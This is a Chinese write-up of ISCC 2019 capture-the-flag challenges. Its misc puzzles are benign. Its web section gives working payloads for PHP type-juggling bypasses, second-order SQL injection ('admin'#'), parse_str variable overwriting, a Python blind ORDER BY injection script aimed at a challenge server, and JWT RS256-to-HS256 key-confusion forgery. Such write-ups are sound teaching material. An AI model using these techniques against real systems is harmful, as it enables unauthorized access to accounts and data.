2019-ISCC wp

记录misc部分和web部分的解题思路

隐藏的信息

题目描述:

这是一个被混淆的文件,但是我忘记了这个文件的密码。你能够帮助我还原明文吗?

0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113 

一堆数字,且每个数字都不大于8,推测是8进制,写脚本转换即可:

1
2
3
4
5
6
7
8
strs = open('message.txt', 'r').read()

li = strs.split(' ')

for i in li:
if i != '':
i = int(i, 8)
print(chr(i),end='')

得出的字符串再base64解码即可

最危险的地方就是最安全的地方

下载文件后,将jpg图片foremost分离,得到一堆二维码和一个压缩包,压缩包解压后还是一堆二维码;用微微二维码批量解码:

发现有个图片扫描后为+10086,其他感觉这些数据没有关联

找到这个图片,发现除了这个图片,其它全为png格式;用010editor打开:

发现这段数据为base64编码,将其解码得到flag前半部分,继续往下找,发现:

这里写着flag…

解密成绩单

题目描述:

老师为了保密将某门课程的成绩单进行了加密处理,但在查成绩时忘记了自己原来是怎样进行了加密,你能帮同学们顺利查到成绩吗?

下载后是一个zip文件,不过需要密码,查看文件属性没有相关信息,则想到了zip伪加密:

压缩源文件目录区:

50 4B 01 02:目录中文件头标记
3F 00:压缩使用的 pkware 版本 
14 00:解压文件所需 pkware 版本 
00 00:全局方式位标记,将其改为其它的数字就会产生伪加密

找到压缩文件目录区(14 00 后面的),将全局方式标记09 08改为00 00 ,保存解压后得到一个exe文件,让输入账号和密码,但不知道,想到了用IDA,里面有个check username 和 check password的函数,直接点开就显示了用户名admin和密码:
ISCCq19pc1Yhb6SqtGhliYH688feCH7lqQxtfa2MpOdONW1wmIleBo4TW5n

在exe中输入即可

Welcome

题目描述:

流浪地球计划中拟采取新的文字加密方式,你能破译这个简单的文件吗?

下载得到一个名为zip的文件,用010editor打开,发现文件头标志为zip的标志,则将文件后缀改为zip,解压

到在线简体字繁体字转换网站转换http://www.aies.cn/m/,部分内容如下:

流浪计划 桃离木星户口  苌条户口  苌条流浪计划 桃离木星流浪计划 桃离木星户口  苌条户口  苌条流浪计划 桃离木星流浪计划 桃离木星户口  苌条户口  苌条流浪计划 桃离木星户口  苌条户口  苌条流浪计划 桃离木星流浪计划 桃离木星流浪计划 桃离木星户口  苌条户口  苌条流浪计划 桃离木星流

发现这些字符串由流浪计划 逃离木星 户口 长条组成,将流浪计划 逃离木星替换为0,将户口 长条替换为1,得到:

011001100110110001100001011001110111101101001001010100110100001101000011010111110101011101000101010011000100001101001111010011010100010101111101

转ascii字符即可

倒立屋

web1

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

1.参数value为数组,数组中的元素值不能在32-127之间,且chr(value)要为字符

在PHP Mannual上,提到了chr函数的参数:

An integer between 0 and 255.

Values outside the valid range (0..255) will be bitwise and’ed with 255, which is equivalent to the following algorithm:

while ($bytevalue < 0) {
    $bytevalue += 256;
}
$bytevalue %= 256;

则传入的数字为负数或者大于256即可

生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
string = 'value[]='

change = 'w3lc0me_To_ISCC2019'

payload = ''

for i in change:
i = ord(i)
i = int(i) + 256
i = string + str(i) + '&'
payload += i

print(payload)

2.intval($password) < 2333 && intval($password + 1) > 2333

可以用PHP浮点数绕过(鬼知道这是什么原理):

password=2332.9999999999999

还可以用16进制绕过:

password = '0x91d'

因为字符串开头为0,intval后返回0,小于2333;进行+1运算时会被当成16进制,自动转换为10进制后进行运算,从而大于2333

web2

让破解三位数字密码,但是有验证码;可以将PHPSESSID和验证码置空,这样请求时服务器会认为这是第一次请求,就不会在SESSION中存储验证码,$imgcode != $_SESSION['code']就不成立(弱类型漏洞,$imgcode为’’,$_SESSION[‘code’]为NULL),从而只判断用户名和密码是否正确

web3

二次注入:攻击者构造的恶意数据存储在数据库后,当程序调用恶意数据执行SQL查询时,就发生了SQL二次注入

此题注入发生在注册以及重置密码的时候;注册代码:

if (isset($_POST['submit']))
{
    $username=  mysql_escape_string($_POST['username']) ;
    $pass= mysql_escape_string($_POST['password']);
    $re_pass= mysql_escape_string($_POST['re_password']);

    echo "<font size='3' color='#FFFF00'>";
    $sql = "select count(*) from users where username='$username'";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
    $row = mysql_fetch_row($res);

    //print_r($row);
    if (!$row[0]== 0) 
        {
        ?>
        <script>alert("The username Already exists, Please choose a different username ")</script>;
        <?php
        header('refresh:1, url=new_user.php');
        } 
        else 
        {
            if ($pass==$re_pass)
            {
                # Building up the query........

                $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
                mysql_query($sql) or die('Error Creating your user account,  : '.mysql_error());
                    echo "</br>";
            }
        }

虽然post的数据含有引号、单引号时会被mysql_escape_string函数转义,但在插入数据库的时候,并不会将反斜杠插入;

重置密码的代码:

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

方法一

注册用户名为:

admin'#

之后重置密码为123456,其执行的语句实际为:

$sql = "UPDATE users SET PASSWORD='123456' where username='admin'#' and password='$curr_pass' ";

即可用账号admin,密码123456来登录

方法二

这个题数据库username字段没有用unique约束,则注册时可以用

admin               a

这种方式注册,然后用admin+注册的密码登录

方法三

用:

1'or 1=1#

这种方式注册,然后用admin+注册的密码登录

web4

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}

if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("<img src='cxk.jpg'>");
}

echo $flag;
}
}else{
show_source(__FILE__);
}?>

由于存在parse_str函数,那么可以变量覆盖$hashed_key,重新赋值;payload:

?action=auth&key=1&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

web5

1.去掉UA头部,输出 Hey!john Doe请勿入内;则UA添加 Union.373

2.判断username是否存在,存在则判断password;用post方式传入username和password字段

3.开始想着用john Doe这个名字作为username值,然后爆破password,结果爆破时发现有个弱密码中存在单引号,其响应中出现了SQL语法错误,则确定字段存在SQL注入

4.用1’or ‘1绕过时,输出组织欢迎你,union_373_Tom!,其他情况输出组织成员密码即为flag

5.过滤了:

and = # like () - ^ for @ username password

没有过滤:

< > or 

过滤了括号,则无法用SQL中的函数来做此题

6.用union测试,发现数据表有三列,且第二列为回显位;

由于绕过时输出组织欢迎你,union_373_Tom!,可以猜测其SQL语句为:

select username from table where username="'" . $username . "'" and password = "'" . $password . "'";

推测其数据表结构为:

+----+----------------------+----------+
| xx | username             | password |
+----+----------------------+----------+
|  1 | union_373_Tom        | xxxxx    |
+----+----------------------+----------+

7.可以用order by盲注,但order by后面不能为字符,否则根据字符排序会失去根据列排序的作用;可以在order by后跟上不止一个参数,比如用order by 3,'4的方式;
https://blog.csdn.net/weixin_34087301/article/details/87163126

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests

url = 'http://39.100.83.188:8054'

headers = {'User-Agent': 'Mozilla/5.0 Union.373'}

string = []

for i in range(32, 127):
i = hex(i)
string.append(i)

password = ''
hex_result = ''
pay = ''

for i in range(len(string)):
for j in range(len(string)):

if j <= len(string) - 2: #列表下标没有越界

if password == '':
strs = string[j]
strs_1 = string[j+1]

payload = "'or 1 union select 1, 2, " + strs + " order by 3, '3"
payload_1 = "'or 1 union select 1, 2, " + strs_1 + " order by 3, '3"
else:
pay = str(string[j]).replace('0x', '')
pay_1 = str(string[j+1]).replace('0x', '')

payload = "'or 1 union select 1, 2, " + hex_result + pay + " order by 3, '3"
payload_1 = "'or 1 union select 1, 2, " + hex_result + pay_1 + " order by 3, '3"

data = {'username':'1', 'password':'{}'.format(payload)}
data_1 = {'username':'1', 'password':'{}'.format(payload_1)}

s = requests.post(url, headers=headers, data=data)
s_1 = requests.post(url, headers=headers, data=data_1)

s.encoding = 'utf-8'
s_1.encoding = 'utf-8'

#print(s.text)

if 'Tom' not in s.text and 'Tom' in s_1.text:
if password == '':
hex_result += str(strs)
else:
hex_result += pay

password += chr(int(string[j], 16))
print(password)
break

web6

注册登陆后,并没有在浏览器的响应头中看到Cookie信息,查看网页源代码,发现了一个js文件:

发现定义了一些函数,其中,getlist函数和past函数都用到了token,而token是在登陆成功后,用localStorage存储到本地的;关于localStorage:

在HTML5中,新加入了一个localStorage特性,这个特性主要是用来作为本地存储来使用的,解决了cookie存储空间不足的问题(cookie中每条cookie的存储空间为4k),localStorage中一般浏览器支持的是5M大小,这个在不同的浏览器中localStorage会有所不同。
但是可以调用js或者抓包的方法来看到相应的Cookie:

发现是jwt,则用在线分析网站jwt.io分析下:

发现其加密算法为RS256,这是一种非对称加密算法(RSA),其用私钥进行签发token,用公钥进行验证

payload部分注意到了一个priv字段值为other

还发现了js代码中的最后一个函数

function getpubkey(){
    /* 
    get the pubkey for test
    /pubkey/{md5(username+password)}
    */
}

尝试访问/pubkey/md5(自己的用户名+密码)这个路径,发现返回了一串公钥:

{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}

但公钥的格式不是这样的,里面多了些\n,于是手动将这些替换为换行符;替换后可以去在线工具验证公钥格式是否正确:

输出详细信息则说明这个公钥格式是对的

但要如何伪造admin获取其list的信息呢?由于没有私钥,是不能用RS256算法签发token的;但是可以猜测服务器端验证流程:客户端发来jwt,服务端接收后用header中声明的算法,用公钥对其验证

可以尝试改变jwt的算法,将其改成HS256,即对称加密算法;签发token时,就用公钥进行加密,这样服务器端再用公钥对其解密验证,即可验证成功

因为要保证公钥格式不出错,则将其存入文件,在用open函数打开读取即可;由于需要伪造admin,则将priv字段改成admin,算法使用HS256;使用python签发token会报错,因为pyjwt会检测秘钥类型与你的加密算法,这也是为了安全考虑吧…那么找到algorithm.py这个文件,把对应的检测代码删了就行了

发包后获得了admin的链接,访问即可得到flag

网上有篇文章将jwt的,挺详细的:
https://www.freebuf.com/articles/web/181261.html